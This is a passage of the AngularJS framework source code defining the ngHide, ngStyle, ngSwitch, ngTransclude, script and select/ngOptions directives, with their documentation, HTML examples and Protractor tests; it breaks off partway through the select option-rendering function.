20883 var thumbsDown = element(by.css('span.glyphicon-thumbs-down'));
20884
20885 it('should check ng-show / ng-hide', function() {
20886 expect(thumbsUp.isDisplayed()).toBeFalsy();
20887 expect(thumbsDown.isDisplayed()).toBeTruthy();
20888
20889 element(by.model('checked')).click();
20890
20891 expect(thumbsUp.isDisplayed()).toBeTruthy();
20892 expect(thumbsDown.isDisplayed()).toBeFalsy();
20893 });
20894 </file>
20895 </example>
20896 */
20897 var ngHideDirective = ['$animate', function($animate) {
20898 return function(scope, element, attr) {
20899 scope.$watch(attr.ngHide, function ngHideWatchAction(value){
20900 $animate[toBoolean(value) ? 'addClass' : 'removeClass'](element, 'ng-hide');
20901 });
20902 };
20903 }];
20904
20905 /**
20906 * @ngdoc directive
20907 * @name ngStyle
20908 * @restrict AC
20909 *
20910 * @description
20911 * The `ngStyle` directive allows you to set CSS style on an HTML element conditionally.
20912 *
20913 * @element ANY
20914 * @param {expression} ngStyle
20915 *
20916 * {@link guide/expression Expression} which evals to an
20917 * object whose keys are CSS style names and values are corresponding values for those CSS
20918 * keys.
20919 *
20920 * Since some CSS style names are not valid keys for an object, they must be quoted.
20921 * See the 'background-color' style in the example below.
20922 *
20923 * @example
20924 <example>
20925 <file name="index.html">
20926 <input type="button" value="set color" ng-click="myStyle={color:'red'}">
20927 <input type="button" value="set background" ng-click="myStyle={'background-color':'blue'}">
20928 <input type="button" value="clear" ng-click="myStyle={}">
20929 <br/>
20930 <span ng-style="myStyle">Sample Text</span>
20931 <pre>myStyle={{myStyle}}</pre>
20932 </file>
20933 <file name="style.css">
20934 span {
20935 color: black;
20936 }
20937 </file>
20938 <file name="protractor.js" type="protractor">
20939 var colorSpan = element(by.css('span'));
20940
20941 it('should check ng-style', function() {
20942 expect(colorSpan.getCssValue('color')).toBe('rgba(0, 0, 0, 1)');
20943 element(by.css('input[value=\'set color\']')).click();
20944 expect(colorSpan.getCssValue('color')).toBe('rgba(255, 0, 0, 1)');
20945 element(by.css('input[value=clear]')).click();
20946 expect(colorSpan.getCssValue('color')).toBe('rgba(0, 0, 0, 1)');
20947 });
20948 </file>
20949 </example>
20950 */
20951 var ngStyleDirective = ngDirective(function(scope, element, attr) {
20952 scope.$watch(attr.ngStyle, function ngStyleWatchAction(newStyles, oldStyles) {
20953 if (oldStyles && (newStyles !== oldStyles)) {
20954 forEach(oldStyles, function(val, style) { element.css(style, '');});
20955 }
20956 if (newStyles) element.css(newStyles);
20957 }, true);
20958 });
20959
20960 /**
20961 * @ngdoc directive
20962 * @name ngSwitch
20963 * @restrict EA
20964 *
20965 * @description
20966 * The `ngSwitch` directive is used to conditionally swap DOM structure on your template based on a scope expression.
20967 * Elements within `ngSwitch` but without `ngSwitchWhen` or `ngSwitchDefault` directives will be preserved at the location
20968 * as specified in the template.
20969 *
20970 * The directive itself works similar to ngInclude, however, instead of downloading template code (or loading it
20971 * from the template cache), `ngSwitch` simply chooses one of the nested elements and makes it visible based on which element
20972 * matches the value obtained from the evaluated expression. In other words, you define a container element
20973 * (where you place the directive), place an expression on the **`on="..."` attribute**
20974 * (or the **`ng-switch="..."` attribute**), define any inner elements inside of the directive and place
20975 * a when attribute per element. The when attribute is used to inform ngSwitch which element to display when the on
20976 * expression is evaluated. If a matching expression is not found via a when attribute then an element with the default
20977 * attribute is displayed.
20978 *
20979 * <div class="alert alert-info">
20980 * Be aware that the attribute values to match against cannot be expressions. They are interpreted
20981 * as literal string values to match against.
20982 * For example, **`ng-switch-when="someVal"`** will match against the string `"someVal"` not against the
20983 * value of the expression `$scope.someVal`.
20984 * </div>
20985
20986 * @animations
20987 * enter - happens after the ngSwitch contents change and the matched child element is placed inside the container
20988 * leave - happens just after the ngSwitch contents change and just before the former contents are removed from the DOM
20989 *
20990 * @usage
20991 *
20992 * ```
20993 * <ANY ng-switch="expression">
20994 * <ANY ng-switch-when="matchValue1">...</ANY>
20995 * <ANY ng-switch-when="matchValue2">...</ANY>
20996 * <ANY ng-switch-default>...</ANY>
20997 * </ANY>
20998 * ```
20999 *
21000 *
21001 * @scope
21002 * @priority 800
21003 * @param {*} ngSwitch|on expression to match against <tt>ng-switch-when</tt>.
21004 * On child elements add:
21005 *
21006 * * `ngSwitchWhen`: the case statement to match against. If match then this
21007 * case will be displayed. If the same match appears multiple times, all the
21008 * elements will be displayed.
21009 * * `ngSwitchDefault`: the default case when no other case match. If there
21010 * are multiple default cases, all of them will be displayed when no other
21011 * case match.
21012 *
21013 *
21014 * @example
21015 <example module="switchExample" deps="angular-animate.js" animations="true">
21016 <file name="index.html">
21017 <div ng-controller="ExampleController">
21018 <select ng-model="selection" ng-options="item for item in items">
21019 </select>
21020 <tt>selection={{selection}}</tt>
21021 <hr/>
21022 <div class="animate-switch-container"
21023 ng-switch on="selection">
21024 <div class="animate-switch" ng-switch-when="settings">Settings Div</div>
21025 <div class="animate-switch" ng-switch-when="home">Home Span</div>
21026 <div class="animate-switch" ng-switch-default>default</div>
21027 </div>
21028 </div>
21029 </file>
21030 <file name="script.js">
21031 angular.module('switchExample', ['ngAnimate'])
21032 .controller('ExampleController', ['$scope', function($scope) {
21033 $scope.items = ['settings', 'home', 'other'];
21034 $scope.selection = $scope.items[0];
21035 }]);
21036 </file>
21037 <file name="animations.css">
21038 .animate-switch-container {
21039 position:relative;
21040 background:white;
21041 border:1px solid black;
21042 height:40px;
21043 overflow:hidden;
21044 }
21045
21046 .animate-switch {
21047 padding:10px;
21048 }
21049
21050 .animate-switch.ng-animate {
21051 -webkit-transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
21052 transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 0.5s;
21053
21054 position:absolute;
21055 top:0;
21056 left:0;
21057 right:0;
21058 bottom:0;
21059 }
21060
21061 .animate-switch.ng-leave.ng-leave-active,
21062 .animate-switch.ng-enter {
21063 top:-50px;
21064 }
21065 .animate-switch.ng-leave,
21066 .animate-switch.ng-enter.ng-enter-active {
21067 top:0;
21068 }
21069 </file>
21070 <file name="protractor.js" type="protractor">
21071 var switchElem = element(by.css('[ng-switch]'));
21072 var select = element(by.model('selection'));
21073
21074 it('should start in settings', function() {
21075 expect(switchElem.getText()).toMatch(/Settings Div/);
21076 });
21077 it('should change to home', function() {
21078 select.all(by.css('option')).get(1).click();
21079 expect(switchElem.getText()).toMatch(/Home Span/);
21080 });
21081 it('should select default', function() {
21082 select.all(by.css('option')).get(2).click();
21083 expect(switchElem.getText()).toMatch(/default/);
21084 });
21085 </file>
21086 </example>
21087 */
21088 var ngSwitchDirective = ['$animate', function($animate) {
21089 return {
21090 restrict: 'EA',
21091 require: 'ngSwitch',
21092
21093 // asks for $scope to fool the BC controller module
21094 controller: ['$scope', function ngSwitchController() {
21095 this.cases = {};
21096 }],
21097 link: function(scope, element, attr, ngSwitchController) {
21098 var watchExpr = attr.ngSwitch || attr.on,
21099 selectedTranscludes = [],
21100 selectedElements = [],
21101 previousElements = [],
21102 selectedScopes = [];
21103
21104 scope.$watch(watchExpr, function ngSwitchWatchAction(value) {
21105 var i, ii;
21106 for (i = 0, ii = previousElements.length; i < ii; ++i) {
21107 previousElements[i].remove();
21108 }
21109 previousElements.length = 0;
21110
21111 for (i = 0, ii = selectedScopes.length; i < ii; ++i) {
21112 var selected = selectedElements[i];
21113 selectedScopes[i].$destroy();
21114 previousElements[i] = selected;
21115 $animate.leave(selected, function() {
21116 previousElements.splice(i, 1);
21117 });
21118 }
21119
21120 selectedElements.length = 0;
21121 selectedScopes.length = 0;
21122
21123 if ((selectedTranscludes = ngSwitchController.cases['!' + value] || ngSwitchController.cases['?'])) {
21124 scope.$eval(attr.change);
21125 forEach(selectedTranscludes, function(selectedTransclude) {
21126 var selectedScope = scope.$new();
21127 selectedScopes.push(selectedScope);
21128 selectedTransclude.transclude(selectedScope, function(caseElement) {
21129 var anchor = selectedTransclude.element;
21130
21131 selectedElements.push(caseElement);
21132 $animate.enter(caseElement, anchor.parent(), anchor);
21133 });
21134 });
21135 }
21136 });
21137 }
21138 };
21139 }];
21140
21141 var ngSwitchWhenDirective = ngDirective({
21142 transclude: 'element',
21143 priority: 800,
21144 require: '^ngSwitch',
21145 link: function(scope, element, attrs, ctrl, $transclude) {
21146 ctrl.cases['!' + attrs.ngSwitchWhen] = (ctrl.cases['!' + attrs.ngSwitchWhen] || []);
21147 ctrl.cases['!' + attrs.ngSwitchWhen].push({ transclude: $transclude, element: element });
21148 }
21149 });
21150
21151 var ngSwitchDefaultDirective = ngDirective({
21152 transclude: 'element',
21153 priority: 800,
21154 require: '^ngSwitch',
21155 link: function(scope, element, attr, ctrl, $transclude) {
21156 ctrl.cases['?'] = (ctrl.cases['?'] || []);
21157 ctrl.cases['?'].push({ transclude: $transclude, element: element });
21158 }
21159 });
21160
21161 /**
21162 * @ngdoc directive
21163 * @name ngTransclude
21164 * @restrict AC
21165 *
21166 * @description
21167 * Directive that marks the insertion point for the transcluded DOM of the nearest parent directive that uses transclusion.
21168 *
21169 * Any existing content of the element that this directive is placed on will be removed before the transcluded content is inserted.
21170 *
21171 * @element ANY
21172 *
21173 * @example
21174 <example module="transcludeExample">
21175 <file name="index.html">
21176 <script>
21177 angular.module('transcludeExample', [])
21178 .directive('pane', function(){
21179 return {
21180 restrict: 'E',
21181 transclude: true,
21182 scope: { title:'@' },
21183 template: '<div style="border: 1px solid black;">' +
21184 '<div style="background-color: gray">{{title}}</div>' +
21185 '<div ng-transclude></div>' +
21186 '</div>'
21187 };
21188 })
21189 .controller('ExampleController', ['$scope', function($scope) {
21190 $scope.title = 'Lorem Ipsum';
21191 $scope.text = 'Neque porro quisquam est qui dolorem ipsum quia dolor...';
21192 }]);
21193 </script>
21194 <div ng-controller="ExampleController">
21195 <input ng-model="title"><br>
21196 <textarea ng-model="text"></textarea> <br/>
21197 <pane title="{{title}}">{{text}}</pane>
21198 </div>
21199 </file>
21200 <file name="protractor.js" type="protractor">
21201 it('should have transcluded', function() {
21202 var titleElement = element(by.model('title'));
21203 titleElement.clear();
21204 titleElement.sendKeys('TITLE');
21205 var textElement = element(by.model('text'));
21206 textElement.clear();
21207 textElement.sendKeys('TEXT');
21208 expect(element(by.binding('title')).getText()).toEqual('TITLE');
21209 expect(element(by.binding('text')).getText()).toEqual('TEXT');
21210 });
21211 </file>
21212 </example>
21213 *
21214 */
21215 var ngTranscludeDirective = ngDirective({
21216 link: function($scope, $element, $attrs, controller, $transclude) {
21217 if (!$transclude) {
21218 throw minErr('ngTransclude')('orphan',
21219 'Illegal use of ngTransclude directive in the template! ' +
21220 'No parent directive that requires a transclusion found. ' +
21221 'Element: {0}',
21222 startingTag($element));
21223 }
21224
21225 $transclude(function(clone) {
21226 $element.empty();
21227 $element.append(clone);
21228 });
21229 }
21230 });
21231
21232 /**
21233 * @ngdoc directive
21234 * @name script
21235 * @restrict E
21236 *
21237 * @description
21238 * Load the content of a `<script>` element into {@link ng.$templateCache `$templateCache`}, so that the
21239 * template can be used by {@link ng.directive:ngInclude `ngInclude`},
21240 * {@link ngRoute.directive:ngView `ngView`}, or {@link guide/directive directives}. The type of the
21241 * `<script>` element must be specified as `text/ng-template`, and a cache name for the template must be
21242 * assigned through the element's `id`, which can then be used as a directive's `templateUrl`.
21243 *
21244 * @param {string} type Must be set to `'text/ng-template'`.
21245 * @param {string} id Cache name of the template.
21246 *
21247 * @example
21248 <example>
21249 <file name="index.html">
21250 <script type="text/ng-template" id="/tpl.html">
21251 Content of the template.
21252 </script>
21253
21254 <a ng-click="currentTpl='/tpl.html'" id="tpl-link">Load inlined template</a>
21255 <div id="tpl-content" ng-include src="currentTpl"></div>
21256 </file>
21257 <file name="protractor.js" type="protractor">
21258 it('should load template defined inside script tag', function() {
21259 element(by.css('#tpl-link')).click();
21260 expect(element(by.css('#tpl-content')).getText()).toMatch(/Content of the template/);
21261 });
21262 </file>
21263 </example>
21264 */
21265 var scriptDirective = ['$templateCache', function($templateCache) {
21266 return {
21267 restrict: 'E',
21268 terminal: true,
21269 compile: function(element, attr) {
21270 if (attr.type == 'text/ng-template') {
21271 var templateUrl = attr.id,
21272 // IE is not consistent, in scripts we have to read .text but in other nodes we have to read .textContent
21273 text = element[0].text;
21274
21275 $templateCache.put(templateUrl, text);
21276 }
21277 }
21278 };
21279 }];
21280
21281 var ngOptionsMinErr = minErr('ngOptions');
21282 /**
21283 * @ngdoc directive
21284 * @name select
21285 * @restrict E
21286 *
21287 * @description
21288 * HTML `SELECT` element with angular data-binding.
21289 *
21290 * # `ngOptions`
21291 *
21292 * The `ngOptions` attribute can be used to dynamically generate a list of `<option>`
21293 * elements for the `<select>` element using the array or object obtained by evaluating the
21294 * `ngOptions` comprehension_expression.
21295 *
21296 * When an item in the `<select>` menu is selected, the array element or object property
21297 * represented by the selected option will be bound to the model identified by the `ngModel`
21298 * directive.
21299 *
21300 * <div class="alert alert-warning">
21301 * **Note:** `ngModel` compares by reference, not value. This is important when binding to an
21302 * array of objects. See an example [in this jsfiddle](http://jsfiddle.net/qWzTb/).
21303 * </div>
21304 *
21305 * Optionally, a single hard-coded `<option>` element, with the value set to an empty string, can
21306 * be nested into the `<select>` element. This element will then represent the `null` or "not selected"
21307 * option. See example below for demonstration.
21308 *
21309 * <div class="alert alert-warning">
21310 * **Note:** `ngOptions` provides an iterator facility for the `<option>` element which should be used instead
21311 * of {@link ng.directive:ngRepeat ngRepeat} when you want the
21312 * `select` model to be bound to a non-string value. This is because an option element can only
21313 * be bound to string values at present.
21314 * </div>
21315 *
21316 * @param {string} ngModel Assignable angular expression to data-bind to.
21317 * @param {string=} name Property name of the form under which the control is published.
21318 * @param {string=} required The control is considered valid only if value is entered.
21319 * @param {string=} ngRequired Adds `required` attribute and `required` validation constraint to
21320 * the element when the ngRequired expression evaluates to true. Use `ngRequired` instead of
21321 * `required` when you want to data-bind to the `required` attribute.
21322 * @param {comprehension_expression=} ngOptions in one of the following forms:
21323 *
21324 * * for array data sources:
21325 * * `label` **`for`** `value` **`in`** `array`
21326 * * `select` **`as`** `label` **`for`** `value` **`in`** `array`
21327 * * `label` **`group by`** `group` **`for`** `value` **`in`** `array`
21328 * * `select` **`as`** `label` **`group by`** `group` **`for`** `value` **`in`** `array` **`track by`** `trackexpr`
21329 * * for object data sources:
21330 * * `label` **`for (`**`key` **`,`** `value`**`) in`** `object`
21331 * * `select` **`as`** `label` **`for (`**`key` **`,`** `value`**`) in`** `object`
21332 * * `label` **`group by`** `group` **`for (`**`key`**`,`** `value`**`) in`** `object`
21333 * * `select` **`as`** `label` **`group by`** `group`
21334 * **`for` `(`**`key`**`,`** `value`**`) in`** `object`
21335 *
21336 * Where:
21337 *
21338 * * `array` / `object`: an expression which evaluates to an array / object to iterate over.
21339 * * `value`: local variable which will refer to each item in the `array` or each property value
21340 * of `object` during iteration.
21341 * * `key`: local variable which will refer to a property name in `object` during iteration.
21342 * * `label`: The result of this expression will be the label for `<option>` element. The
21343 * `expression` will most likely refer to the `value` variable (e.g. `value.propertyName`).
21344 * * `select`: The result of this expression will be bound to the model of the parent `<select>`
21345 * element. If not specified, `select` expression will default to `value`.
21346 * * `group`: The result of this expression will be used to group options using the `<optgroup>`
21347 * DOM element.
21348 * * `trackexpr`: Used when working with an array of objects. The result of this expression will be
21349 * used to identify the objects in the array. The `trackexpr` will most likely refer to the
21350 * `value` variable (e.g. `value.propertyName`).
21351 *
21352 * @example
21353 <example module="selectExample">
21354 <file name="index.html">
21355 <script>
21356 angular.module('selectExample', [])
21357 .controller('ExampleController', ['$scope', function($scope) {
21358 $scope.colors = [
21359 {name:'black', shade:'dark'},
21360 {name:'white', shade:'light'},
21361 {name:'red', shade:'dark'},
21362 {name:'blue', shade:'dark'},
21363 {name:'yellow', shade:'light'}
21364 ];
21365 $scope.myColor = $scope.colors[2]; // red
21366 }]);
21367 </script>
21368 <div ng-controller="ExampleController">
21369 <ul>
21370 <li ng-repeat="color in colors">
21371 Name: <input ng-model="color.name">
21372 [<a href ng-click="colors.splice($index, 1)">X</a>]
21373 </li>
21374 <li>
21375 [<a href ng-click="colors.push({})">add</a>]
21376 </li>
21377 </ul>
21378 <hr/>
21379 Color (null not allowed):
21380 <select ng-model="myColor" ng-options="color.name for color in colors"></select><br>
21381
21382 Color (null allowed):
21383 <span class="nullable">
21384 <select ng-model="myColor" ng-options="color.name for color in colors">
21385 <option value="">-- choose color --</option>
21386 </select>
21387 </span><br/>
21388
21389 Color grouped by shade:
21390 <select ng-model="myColor" ng-options="color.name group by color.shade for color in colors">
21391 </select><br/>
21392
21393
21394 Select <a href ng-click="myColor = { name:'not in list', shade: 'other' }">bogus</a>.<br>
21395 <hr/>
21396 Currently selected: {{ {selected_color:myColor} }}
21397 <div style="border:solid 1px black; height:20px"
21398 ng-style="{'background-color':myColor.name}">
21399 </div>
21400 </div>
21401 </file>
21402 <file name="protractor.js" type="protractor">
21403 it('should check ng-options', function() {
21404 expect(element(by.binding('{selected_color:myColor}')).getText()).toMatch('red');
21405 element.all(by.model('myColor')).first().click();
21406 element.all(by.css('select[ng-model="myColor"] option')).first().click();
21407 expect(element(by.binding('{selected_color:myColor}')).getText()).toMatch('black');
21408 element(by.css('.nullable select[ng-model="myColor"]')).click();
21409 element.all(by.css('.nullable select[ng-model="myColor"] option')).first().click();
21410 expect(element(by.binding('{selected_color:myColor}')).getText()).toMatch('null');
21411 });
21412 </file>
21413 </example>
21414 */
21415
21416 var ngOptionsDirective = valueFn({ terminal: true });
21417 // jshint maxlen: false
21418 var selectDirective = ['$compile', '$parse', function($compile, $parse) {
21419 //000011111111110000000000022222222220000000000000000000003333333333000000000000004444444444444440000000005555555555555550000000666666666666666000000000000000777777777700000000000000000008888888888
21420 var NG_OPTIONS_REGEXP = /^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?(?:\s+group\s+by\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w]*)|(?:\(\s*([\$\w][\$\w]*)\s*,\s*([\$\w][\$\w]*)\s*\)))\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?$/,
21421 nullModelCtrl = {$setViewValue: noop};
21422 // jshint maxlen: 100
21423
21424 return {
21425 restrict: 'E',
21426 require: ['select', '?ngModel'],
21427 controller: ['$element', '$scope', '$attrs', function($element, $scope, $attrs) {
21428 var self = this,
21429 optionsMap = {},
21430 ngModelCtrl = nullModelCtrl,
21431 nullOption,
21432 unknownOption;
21433
21434
21435 self.databound = $attrs.ngModel;
21436
21437
21438 self.init = function(ngModelCtrl_, nullOption_, unknownOption_) {
21439 ngModelCtrl = ngModelCtrl_;
21440 nullOption = nullOption_;
21441 unknownOption = unknownOption_;
21442 };
21443
21444
21445 self.addOption = function(value) {
21446 assertNotHasOwnProperty(value, '"option value"');
21447 optionsMap[value] = true;
21448
21449 if (ngModelCtrl.$viewValue == value) {
21450 $element.val(value);
21451 if (unknownOption.parent()) unknownOption.remove();
21452 }
21453 };
21454
21455
21456 self.removeOption = function(value) {
21457 if (this.hasOption(value)) {
21458 delete optionsMap[value];
21459 if (ngModelCtrl.$viewValue == value) {
21460 this.renderUnknownOption(value);
21461 }
21462 }
21463 };
21464
21465
21466 self.renderUnknownOption = function(val) {
21467 var unknownVal = '? ' + hashKey(val) + ' ?';
21468 unknownOption.val(unknownVal);
21469 $element.prepend(unknownOption);
21470 $element.val(unknownVal);
21471 unknownOption.prop('selected', true); // needed for IE
21472 };
21473
21474
21475 self.hasOption = function(value) {
21476 return optionsMap.hasOwnProperty(value);
21477 };
21478
21479 $scope.$on('$destroy', function() {
21480 // disable unknown option so that we don't do work when the whole select is being destroyed
21481 self.renderUnknownOption = noop;
21482 });
21483 }],
21484
21485 link: function(scope, element, attr, ctrls) {
21486 // if ngModel is not defined, we don't need to do anything
21487 if (!ctrls[1]) return;
21488
21489 var selectCtrl = ctrls[0],
21490 ngModelCtrl = ctrls[1],
21491 multiple = attr.multiple,
21492 optionsExp = attr.ngOptions,
21493 nullOption = false, // if false, user will not be able to select it (used by ngOptions)
21494 emptyOption,
21495 // we can't just jqLite('<option>') since jqLite is not smart enough
21496 // to create it in <select> and IE barfs otherwise.
21497 optionTemplate = jqLite(document.createElement('option')),
21498 optGroupTemplate =jqLite(document.createElement('optgroup')),
21499 unknownOption = optionTemplate.clone();
21500
21501 // find "null" option
21502 for(var i = 0, children = element.children(), ii = children.length; i < ii; i++) {
21503 if (children[i].value === '') {
21504 emptyOption = nullOption = children.eq(i);
21505 break;
21506 }
21507 }
21508
21509 selectCtrl.init(ngModelCtrl, nullOption, unknownOption);
21510
21511 // required validator
21512 if (multiple) {
21513 ngModelCtrl.$isEmpty = function(value) {
21514 return !value || value.length === 0;
21515 };
21516 }
21517
21518 if (optionsExp) setupAsOptions(scope, element, ngModelCtrl);
21519 else if (multiple) setupAsMultiple(scope, element, ngModelCtrl);
21520 else setupAsSingle(scope, element, ngModelCtrl, selectCtrl);
21521
21522
21523 ////////////////////////////
21524
21525
21526
21527 function setupAsSingle(scope, selectElement, ngModelCtrl, selectCtrl) {
21528 ngModelCtrl.$render = function() {
21529 var viewValue = ngModelCtrl.$viewValue;
21530
21531 if (selectCtrl.hasOption(viewValue)) {
21532 if (unknownOption.parent()) unknownOption.remove();
21533 selectElement.val(viewValue);
21534 if (viewValue === '') emptyOption.prop('selected', true); // to make IE9 happy
21535 } else {
21536 if (isUndefined(viewValue) && emptyOption) {
21537 selectElement.val('');
21538 } else {
21539 selectCtrl.renderUnknownOption(viewValue);
21540 }
21541 }
21542 };
21543
21544 selectElement.on('change', function() {
21545 scope.$apply(function() {
21546 if (unknownOption.parent()) unknownOption.remove();
21547 ngModelCtrl.$setViewValue(selectElement.val());
21548 });
21549 });
21550 }
21551
21552 function setupAsMultiple(scope, selectElement, ctrl) {
21553 var lastView;
21554 ctrl.$render = function() {
21555 var items = new HashMap(ctrl.$viewValue);
21556 forEach(selectElement.find('option'), function(option) {
21557 option.selected = isDefined(items.get(option.value));
21558 });
21559 };
21560
21561 // we have to do it on each watch since ngModel watches reference, but
21562 // we need to work of an array, so we need to see if anything was inserted/removed
21563 scope.$watch(function selectMultipleWatch() {
21564 if (!equals(lastView, ctrl.$viewValue)) {
21565 lastView = shallowCopy(ctrl.$viewValue);
21566 ctrl.$render();
21567 }
21568 });
21569
21570 selectElement.on('change', function() {
21571 scope.$apply(function() {
21572 var array = [];
21573 forEach(selectElement.find('option'), function(option) {
21574 if (option.selected) {
21575 array.push(option.value);
21576 }
21577 });
21578 ctrl.$setViewValue(array);
21579 });
21580 });
21581 }
21582
21583 function setupAsOptions(scope, selectElement, ctrl) {
21584 var match;
21585
21586 if (!(match = optionsExp.match(NG_OPTIONS_REGEXP))) {
21587 throw ngOptionsMinErr('iexp',
21588 "Expected expression in form of " +
21589 "'_select_ (as _label_)? for (_key_,)?_value_ in _collection_'" +
21590 " but got '{0}'. Element: {1}",
21591 optionsExp, startingTag(selectElement));
21592 }
21593
21594 var displayFn = $parse(match[2] || match[1]),
21595 valueName = match[4] || match[6],
21596 keyName = match[5],
21597 groupByFn = $parse(match[3] || ''),
21598 valueFn = $parse(match[2] ? match[1] : valueName),
21599 valuesFn = $parse(match[7]),
21600 track = match[8],
21601 trackFn = track ? $parse(match[8]) : null,
21602 // This is an array of array of existing option groups in DOM.
21603 // We try to reuse these if possible
21604 // - optionGroupsCache[0] is the options with no option group
21605 // - optionGroupsCache[?][0] is the parent: either the SELECT or OPTGROUP element
21606 optionGroupsCache = [[{element: selectElement, label:''}]];
21607
21608 if (nullOption) {
21609 // compile the element since there might be bindings in it
21610 $compile(nullOption)(scope);
21611
21612 // remove the class, which is added automatically because we recompile the element and it
21613 // becomes the compilation root
21614 nullOption.removeClass('ng-scope');
21615
21616 // we need to remove it before calling selectElement.empty() because otherwise IE will
21617 // remove the label from the element. wtf?
21618 nullOption.remove();
21619 }
21620
21621 // clear contents, we'll add what's needed based on the model
21622 selectElement.empty();
21623
21624 selectElement.on('change', function() {
21625 scope.$apply(function() {
21626 var optionGroup,
21627 collection = valuesFn(scope) || [],
21628 locals = {},
21629 key, value, optionElement, index, groupIndex, length, groupLength, trackIndex;
21630
21631 if (multiple) {
21632 value = [];
21633 for (groupIndex = 0, groupLength = optionGroupsCache.length;
21634 groupIndex < groupLength;
21635 groupIndex++) {
21636 // list of options for that group. (first item has the parent)
21637 optionGroup = optionGroupsCache[groupIndex];
21638
21639 for(index = 1, length = optionGroup.length; index < length; index++) {
21640 if ((optionElement = optionGroup[index].element)[0].selected) {
21641 key = optionElement.val();
21642 if (keyName) locals[keyName] = key;
21643 if (trackFn) {
21644 for (trackIndex = 0; trackIndex < collection.length; trackIndex++) {
21645 locals[valueName] = collection[trackIndex];
21646 if (trackFn(scope, locals) == key) break;
21647 }
21648 } else {
21649 locals[valueName] = collection[key];
21650 }
21651 value.push(valueFn(scope, locals));
21652 }
21653 }
21654 }
21655 } else {
21656 key = selectElement.val();
21657 if (key == '?') {
21658 value = undefined;
21659 } else if (key === ''){
21660 value = null;
21661 } else {
21662 if (trackFn) {
21663 for (trackIndex = 0; trackIndex < collection.length; trackIndex++) {
21664 locals[valueName] = collection[trackIndex];
21665 if (trackFn(scope, locals) == key) {
21666 value = valueFn(scope, locals);
21667 break;
21668 }
21669 }
21670 } else {
21671 locals[valueName] = collection[key];
21672 if (keyName) locals[keyName] = key;
21673 value = valueFn(scope, locals);
21674 }
21675 }
21676 }
21677 ctrl.$setViewValue(value);
21678 render();
21679 });
21680 });
21681
21682 ctrl.$render = render;
21683
21684 scope.$watchCollection(valuesFn, render);
21685 if ( multiple ) {
21686 scope.$watchCollection(function() { return ctrl.$modelValue; }, render);
21687 }
21688
21689 function getSelectedSet() {
21690 var selectedSet = false;
21691 if (multiple) {
21692 var modelValue = ctrl.$modelValue;
21693 if (trackFn && isArray(modelValue)) {
21694 selectedSet = new HashMap([]);
21695 var locals = {};
21696 for (var trackIndex = 0; trackIndex < modelValue.length; trackIndex++) {
21697 locals[valueName] = modelValue[trackIndex];
21698 selectedSet.put(trackFn(scope, locals), modelValue[trackIndex]);
21699 }
21700 } else {
21701 selectedSet = new HashMap(modelValue);
21702 }
21703 }
21704 return selectedSet;
21705 }
21706
21707
21708 function render() {
21709 // Temporary location for the option groups before we render them
21710 var optionGroups = {'':[]},
21711 optionGroupNames = [''],
21712 optionGroupName,
21713 optionGroup,
21714 option,
21715 existingParent, existingOptions, existingOption,
21716 modelValue = ctrl.$modelValue,
21717 values = valuesFn(scope) || [],
21718 keys = keyName ? sortedKeys(values) : values,
21719 key,
21720 groupLength, length,
21721 groupIndex, index,
21722 locals = {},
21723 selected,
21724 selectedSet = getSelectedSet(),
21725 lastElement,
21726 element,
21727 label;
21728
21729
21730 // We now build up the list of options we need (we merge later)
21731 for (index = 0; length = keys.length, index < length; index++) {
21732
21733 key = index;
21734 if (keyName) {
21735 key = keys[index];
21736 if ( key.charAt(0) === '$' ) continue;
21737 locals[keyName] = key;
21738 }
21739
21740 locals[valueName] = values[key];
21741
21742 optionGroupName = groupByFn(scope, locals) || '';
21743 if (!(optionGroup = optionGroups[optionGroupName])) {
21744 optionGroup = optionGroups[optionGroupName] = [];
21745 optionGroupNames.push(optionGroupName);
21746 }
21747 if (multiple) {
21748 selected = isDefined(
21749 selectedSet.remove(trackFn ? trackFn(scope, locals) : valueFn(scope, locals))
21750 );
21751 } else {
21752 if (trackFn) {
21753 var modelCast = {};
21754 modelCast[valueName] = modelValue;
21755 selected = trackFn(scope, modelCast) === trackFn(scope, locals);
21756 } else {
21757 selected = modelValue === valueFn(scope, locals);
21758 }
21759 selectedSet = selectedSet || selected; // see if at least one item is selected
21760 }
21761 label = displayFn(scope, locals); // what will be seen by the user
21762
21763 // doing displayFn(scope, locals) || '' overwrites zero values
21764 label = isDefined(label) ? label : '';
21765 optionGroup.push({
21766 // either the index into array or key from object
21767 id: trackFn ? trackFn(scope, locals) : (keyName ? keys[index] : index),
21768 label: label,
21769 selected: selected // determine if we should be selected
21770 });
21771 }
21772 if (!multiple) {
21773 if (nullOption || modelValue === null) {
21774 // insert null option if we have a placeholder, or the model is null
21775 optionGroups[''].unshift({id:'', label:'', selected:!selectedSet});
21776 } else if (!selectedSet) {
21777 // option could not be found, we have to insert the undefined item
21778 optionGroups[''].unshift({id:'?', label:'', selected:true});
21779 }
21780 }
21781
21782 // Now we need to update the list of DOM nodes to match the optionGroups we computed above
21783 for (groupIndex = 0, groupLength = optionGroupNames.length;
21784 groupIndex < groupLength;
21785 groupIndex++) {
21786 // current option group name or '' if no group
21787 optionGroupName = optionGroupNames[groupIndex];
21788
21789 // list of options for that group. (first item has the parent)
21790 optionGroup = optionGroups[optionGroupName];
21791
21792 if (optionGroupsCache.length <= groupIndex) {
21793 // we need to grow the optionGroups
21794 existingParent = {
21795 element: optGroupTemplate.clone().attr('label', optionGroupName),
21796 label: optionGroup.label
21797 };
21798 existingOptions = [existingParent];
21799 optionGroupsCache.push(existingOptions);
21800 selectElement.append(existingParent.element);
21801 } else {
21802 existingOptions = optionGroupsCache[groupIndex];
21803 existingParent = existingOptions[0]; // either SELECT (no group) or OPTGROUP element
21804
21805 // update the OPTGROUP label if not the same.
21806 if (existingParent.label != optionGroupName) {
21807 existingParent.element.attr('label', existingParent.label = optionGroupName);
21808 }
21809 }
21810
21811 lastElement = null; // start at the beginning
21812 for(index = 0, length = optionGroup.length; index < length; index++) {
21813 option = optionGroup[index];
21814 if ((existingOption = existingOptions[index+1])) {
21815 // reuse elements
21816 lastElement = existingOption.element;
21817 if (existingOption.label !== option.label) {
21818 lastElement.text(existingOption.label = option.label);
21819 }
21820 if (existingOption.id !== option.id) {
21821 lastElement.val(existingOption.id = option.id);
21822 }
